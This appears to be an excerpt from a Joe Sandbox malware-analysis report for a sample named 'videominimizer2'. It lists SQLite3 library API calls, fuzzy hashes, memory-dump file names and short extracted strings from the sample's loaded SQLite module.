                                                                                                                                                                                                                                      • Instruction ID: dba10035f3c017a022ff92dc0406edc4c972eb6647695f7afdbed5011b3e14eb
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 039a1925b88827ab71129b12bf0a0cfd7bb9a75e2f5fb5313a60c0869b9e4a18
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 9112E3B4A15218CFCB18CF98D480A9EBBF6BF98304F24855AD855AB319D774EC42CF90
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • sqlite3_mutex_enter.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5,?), ref: 609124D1
                                                                                                                                                                                                                                      • sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5,?), ref: 6091264D
                                                                                                                                                                                                                                      • sqlite3_mutex_enter.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5,?), ref: 60912662
                                                                                                                                                                                                                                      • sqlite3_malloc.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5,?), ref: 6091273E
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5,?), ref: 60912753
                                                                                                                                                                                                                                      • sqlite3_os_init.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5,?), ref: 60912758
                                                                                                                                                                                                                                      • sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5,?), ref: 60912803
                                                                                                                                                                                                                                      • sqlite3_mutex_enter.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5,?), ref: 6091280E
                                                                                                                                                                                                                                      • sqlite3_mutex_free.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5,?), ref: 6091282A
                                                                                                                                                                                                                                      • sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5,?), ref: 6091283F
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_mutex_entersqlite3_mutex_leave$sqlite3_freesqlite3_mallocsqlite3_mutex_freesqlite3_os_init
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3556715608-0
                                                                                                                                                                                                                                      • Opcode ID: 7a5b012c4fe40a1866ea25e0c9ef8651b072e840c3be51a8f23ca71a75eb633f
                                                                                                                                                                                                                                      • Instruction ID: 37d7613b282c24208f37f95ee69ae3eaf9c0527d79975c213f2f38643f7f707f
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 7a5b012c4fe40a1866ea25e0c9ef8651b072e840c3be51a8f23ca71a75eb633f
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: FEA14A71A2C215CBEB009F69CC843257FE7B7A7318F10816DD415AB2A0E7B9DC95EB11
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • sqlite3_malloc.SQLITE3 ref: 6095F645
                                                                                                                                                                                                                                      • sqlite3_exec.SQLITE3 ref: 6095F686
                                                                                                                                                                                                                                        • Part of subcall function 6094CBB8: sqlite3_log.SQLITE3 ref: 6094CBF8
                                                                                                                                                                                                                                      • sqlite3_free_table.SQLITE3 ref: 6095F6A0
                                                                                                                                                                                                                                      • sqlite3_mprintf.SQLITE3 ref: 6095F6C7
                                                                                                                                                                                                                                        • Part of subcall function 609296AA: sqlite3_initialize.SQLITE3 ref: 609296B0
                                                                                                                                                                                                                                        • Part of subcall function 609296AA: sqlite3_vmprintf.SQLITE3 ref: 609296CA
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3 ref: 6095F6B4
                                                                                                                                                                                                                                        • Part of subcall function 60901C61: sqlite3_mutex_enter.SQLITE3 ref: 60901C80
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3 ref: 6095F6D4
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3 ref: 6095F6ED
                                                                                                                                                                                                                                      • sqlite3_free_table.SQLITE3 ref: 6095F6FF
                                                                                                                                                                                                                                      • sqlite3_realloc.SQLITE3 ref: 6095F71B
                                                                                                                                                                                                                                      • sqlite3_free_table.SQLITE3 ref: 6095F72D
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_freesqlite3_free_table$sqlite3_execsqlite3_initializesqlite3_logsqlite3_mallocsqlite3_mprintfsqlite3_mutex_entersqlite3_reallocsqlite3_vmprintf
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1866449048-0
                                                                                                                                                                                                                                      • Opcode ID: 2addae8d4502475aa330d0fbe12d9077f3fed0f055932ab6dac269a256a03500
                                                                                                                                                                                                                                      • Instruction ID: 9ac78cbffd0e0cf27e5d0fdbf17c3a3d034f00011a14f89e76d08e502163788c
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 2addae8d4502475aa330d0fbe12d9077f3fed0f055932ab6dac269a256a03500
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 8751F1B49467099FDB01DF69D59178EBBF6FF68318F104429E884AB300D379D894CB91
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                      • String ID: $ AND $%s USING %sINDEX %s%s$%s USING AUTOMATIC %sINDEX%.0s%s$)><$0$ANY($COVERING $SCAN$SEARCH$rowid
                                                                                                                                                                                                                                      • API String ID: 0-780898
                                                                                                                                                                                                                                      • Opcode ID: d1d17e5dd7c74eae3224551f6f3ab351f201226dcaab78a09df61ec6b72ac00d
                                                                                                                                                                                                                                      • Instruction ID: 1b008e11d07f16b9462ef115b46fd1892196ed4c5360d6a6f9a636b6bab85f9b
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: d1d17e5dd7c74eae3224551f6f3ab351f201226dcaab78a09df61ec6b72ac00d
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 46D109B0A087099FD714CF99C19079DBBF2BFA8308F10886AE495AB355D774D982CF81
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                      • String ID: aolf$aolf$bolb$bolc$buod$buod$laer$laer$rahc$tni$txet
                                                                                                                                                                                                                                      • API String ID: 0-2604012851
                                                                                                                                                                                                                                      • Opcode ID: b472df4709d2161ac4da3e6dd873a69b8789eadb7617e1432b7f17fad04b9ea6
                                                                                                                                                                                                                                      • Instruction ID: a78f5df49eecf700eafad7d6eadd6707640e608d2d263d021760269e78388884
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: b472df4709d2161ac4da3e6dd873a69b8789eadb7617e1432b7f17fad04b9ea6
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 2D31B171A891458ADB21891C85503EE7FBB9BE3344F28902EC8B2DB246C735CCD0C3A2
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: memcmp$sqlite3_logsqlite3_mutex_try
                                                                                                                                                                                                                                      • String ID: 0$SQLite format 3
                                                                                                                                                                                                                                      • API String ID: 3174206576-3388949527
                                                                                                                                                                                                                                      • Opcode ID: e2a376b1a29b79c4f9f51ec04e7584e9c4e5062bfe0a82991cc629df80cc0a0f
                                                                                                                                                                                                                                      • Instruction ID: d3cc03899c2fb96d27ccc41cf7ad58ff30b38a29db2c3208110d6cb2c70dce50
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: e2a376b1a29b79c4f9f51ec04e7584e9c4e5062bfe0a82991cc629df80cc0a0f
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A3028BB0A082659BDB09CF68D48178ABBF7FFA5308F148269E8459B345DB74DC85CF81
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • sqlite3_value_text.SQLITE3 ref: 6095F030
                                                                                                                                                                                                                                      • sqlite3_value_text.SQLITE3 ref: 6095F03E
                                                                                                                                                                                                                                      • sqlite3_stricmp.SQLITE3 ref: 6095F0B3
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3 ref: 6095F180
                                                                                                                                                                                                                                        • Part of subcall function 6092E279: strcmp.MSVCRT ref: 6092E2AE
                                                                                                                                                                                                                                        • Part of subcall function 6092E279: sqlite3_free.SQLITE3 ref: 6092E3A8
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3 ref: 6095F1BD
                                                                                                                                                                                                                                        • Part of subcall function 60901C61: sqlite3_mutex_enter.SQLITE3 ref: 60901C80
                                                                                                                                                                                                                                      • sqlite3_result_error_code.SQLITE3 ref: 6095F34E
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_free$sqlite3_value_text$sqlite3_mutex_entersqlite3_result_error_codesqlite3_stricmpstrcmp
                                                                                                                                                                                                                                      • String ID: |
                                                                                                                                                                                                                                      • API String ID: 1576672187-2343686810
                                                                                                                                                                                                                                      • Opcode ID: 45796efa6547682f16092b9fa288c01422e20de86ab54653b6df12e990b05c38
                                                                                                                                                                                                                                      • Instruction ID: c4017fd8acd983bc841f22cdb0f4132ffe50c361176833da1127552c957ad2bb
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 45796efa6547682f16092b9fa288c01422e20de86ab54653b6df12e990b05c38
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: B2B189B4A08308CBDB01CF69C491B9EBBF2BF68358F148968E854AB355D734EC55CB81
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • sqlite3_file_control.SQLITE3 ref: 609537BD
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3 ref: 60953842
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3 ref: 6095387C
                                                                                                                                                                                                                                        • Part of subcall function 60901C61: sqlite3_mutex_enter.SQLITE3 ref: 60901C80
                                                                                                                                                                                                                                      • sqlite3_stricmp.SQLITE3 ref: 609538D4
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_free$sqlite3_file_controlsqlite3_mutex_entersqlite3_stricmp
                                                                                                                                                                                                                                      • String ID: 6$timeout
                                                                                                                                                                                                                                      • API String ID: 2671017102-3660802998
                                                                                                                                                                                                                                      • Opcode ID: 8cffcba2199636318c40f61931f0f453c1b4c4e8a0677f5b7de6569c291e0b77
                                                                                                                                                                                                                                      • Instruction ID: da3e9078838fdf1f068eeacc94130b5fe058058c2a53432068b0843c8cdd1fdd
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 8cffcba2199636318c40f61931f0f453c1b4c4e8a0677f5b7de6569c291e0b77
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6CA11270A083198BDB15CF6AC88079EBBF6BFA9304F10846DE8589B354D774D885CF41
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • sqlite3_snprintf.SQLITE3 ref: 6095D450
                                                                                                                                                                                                                                        • Part of subcall function 60917354: sqlite3_vsnprintf.SQLITE3 ref: 60917375
                                                                                                                                                                                                                                      • sqlite3_snprintf.SQLITE3 ref: 6095D4A1
                                                                                                                                                                                                                                      • sqlite3_snprintf.SQLITE3 ref: 6095D525
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_snprintf$sqlite3_vsnprintf
                                                                                                                                                                                                                                      • String ID: $)><$sqlite_master$sqlite_temp_master
                                                                                                                                                                                                                                      • API String ID: 652164897-1572359634
                                                                                                                                                                                                                                      • Opcode ID: 7664a015b2dc01db37cf12657f922778db359f6c70a1ba93bfebbfbe3581116b
                                                                                                                                                                                                                                      • Instruction ID: a98725bc65f6cff0ffebef66634980575a39ba2d787d432de3c608a01e11e389
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 7664a015b2dc01db37cf12657f922778db359f6c70a1ba93bfebbfbe3581116b
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 5991F275E05219CFCB15CF98C48169DBBF2BFA9308F14845AE859AB314DB34ED46CB81
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • sqlite3_value_text.SQLITE3 ref: 6091B06E
                                                                                                                                                                                                                                      • sqlite3_result_error_toobig.SQLITE3 ref: 6091B178
                                                                                                                                                                                                                                      • sqlite3_result_error_nomem.SQLITE3 ref: 6091B197
                                                                                                                                                                                                                                      • sqlite3_result_text.SQLITE3 ref: 6091B5A3
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_result_error_nomemsqlite3_result_error_toobigsqlite3_result_textsqlite3_value_text
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2352520524-0
                                                                                                                                                                                                                                      • Opcode ID: bf61c68f4ce88464188c3b4ec21cbec410585f797eaf5b0aff599f1fc01aebfc
                                                                                                                                                                                                                                      • Instruction ID: 99f21b63ad5c9672efebb0dd762c853f70c7e366ddc85f9db9da2d733c13ec0c
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: bf61c68f4ce88464188c3b4ec21cbec410585f797eaf5b0aff599f1fc01aebfc
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: F9E16B71E4C2199BDB208F18C89039EBBF7AB65314F1584DAE8A857351D738DCC19F82
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 609296D1: sqlite3_value_bytes.SQLITE3 ref: 609296F3
                                                                                                                                                                                                                                        • Part of subcall function 609296D1: sqlite3_mprintf.SQLITE3 ref: 60929708
                                                                                                                                                                                                                                        • Part of subcall function 609296D1: sqlite3_free.SQLITE3 ref: 6092971B
                                                                                                                                                                                                                                      • sqlite3_exec.SQLITE3 ref: 6096A4D7
                                                                                                                                                                                                                                        • Part of subcall function 6094CBB8: sqlite3_log.SQLITE3 ref: 6094CBF8
                                                                                                                                                                                                                                      • sqlite3_result_text.SQLITE3 ref: 6096A5D3
                                                                                                                                                                                                                                        • Part of subcall function 6096A38C: sqlite3_bind_int.SQLITE3 ref: 6096A3DE
                                                                                                                                                                                                                                        • Part of subcall function 6096A38C: sqlite3_step.SQLITE3 ref: 6096A435
                                                                                                                                                                                                                                        • Part of subcall function 6096A38C: sqlite3_reset.SQLITE3 ref: 6096A445
                                                                                                                                                                                                                                      • sqlite3_exec.SQLITE3 ref: 6096A523
                                                                                                                                                                                                                                      • sqlite3_exec.SQLITE3 ref: 6096A554
                                                                                                                                                                                                                                      • sqlite3_exec.SQLITE3 ref: 6096A57F
                                                                                                                                                                                                                                      • sqlite3_result_error_code.SQLITE3 ref: 6096A5E1
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_exec$sqlite3_bind_intsqlite3_freesqlite3_logsqlite3_mprintfsqlite3_resetsqlite3_result_error_codesqlite3_result_textsqlite3_stepsqlite3_value_bytes
                                                                                                                                                                                                                                      • String ID: optimize
                                                                                                                                                                                                                                      • API String ID: 3659050757-3797040228
                                                                                                                                                                                                                                      • Opcode ID: c770602c58b8b739d860714e2a7cbb539b0686760bc80d510edb2603001de118
                                                                                                                                                                                                                                      • Instruction ID: 653702cfcd2f061f0588c77de086fc27204f9fc351fc8b4992cba684a546c14d
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c770602c58b8b739d860714e2a7cbb539b0686760bc80d510edb2603001de118
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E831C3B11187119FE310DF24C49570FBBE6ABA1368F10C91DF9968B350E7B9D8459F82
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • sqlite3_column_blob.SQLITE3 ref: 609654FB
                                                                                                                                                                                                                                      • sqlite3_column_bytes.SQLITE3 ref: 60965510
                                                                                                                                                                                                                                      • sqlite3_reset.SQLITE3 ref: 60965556
                                                                                                                                                                                                                                      • sqlite3_reset.SQLITE3 ref: 609655B8
                                                                                                                                                                                                                                        • Part of subcall function 60941C40: sqlite3_mutex_enter.SQLITE3 ref: 60941C58
                                                                                                                                                                                                                                        • Part of subcall function 60941C40: sqlite3_mutex_leave.SQLITE3 ref: 60941CBE
                                                                                                                                                                                                                                      • sqlite3_malloc.SQLITE3 ref: 60965655
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3 ref: 60965714
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3 ref: 6096574B
                                                                                                                                                                                                                                        • Part of subcall function 60901C61: sqlite3_mutex_enter.SQLITE3 ref: 60901C80
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3 ref: 609657AA
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
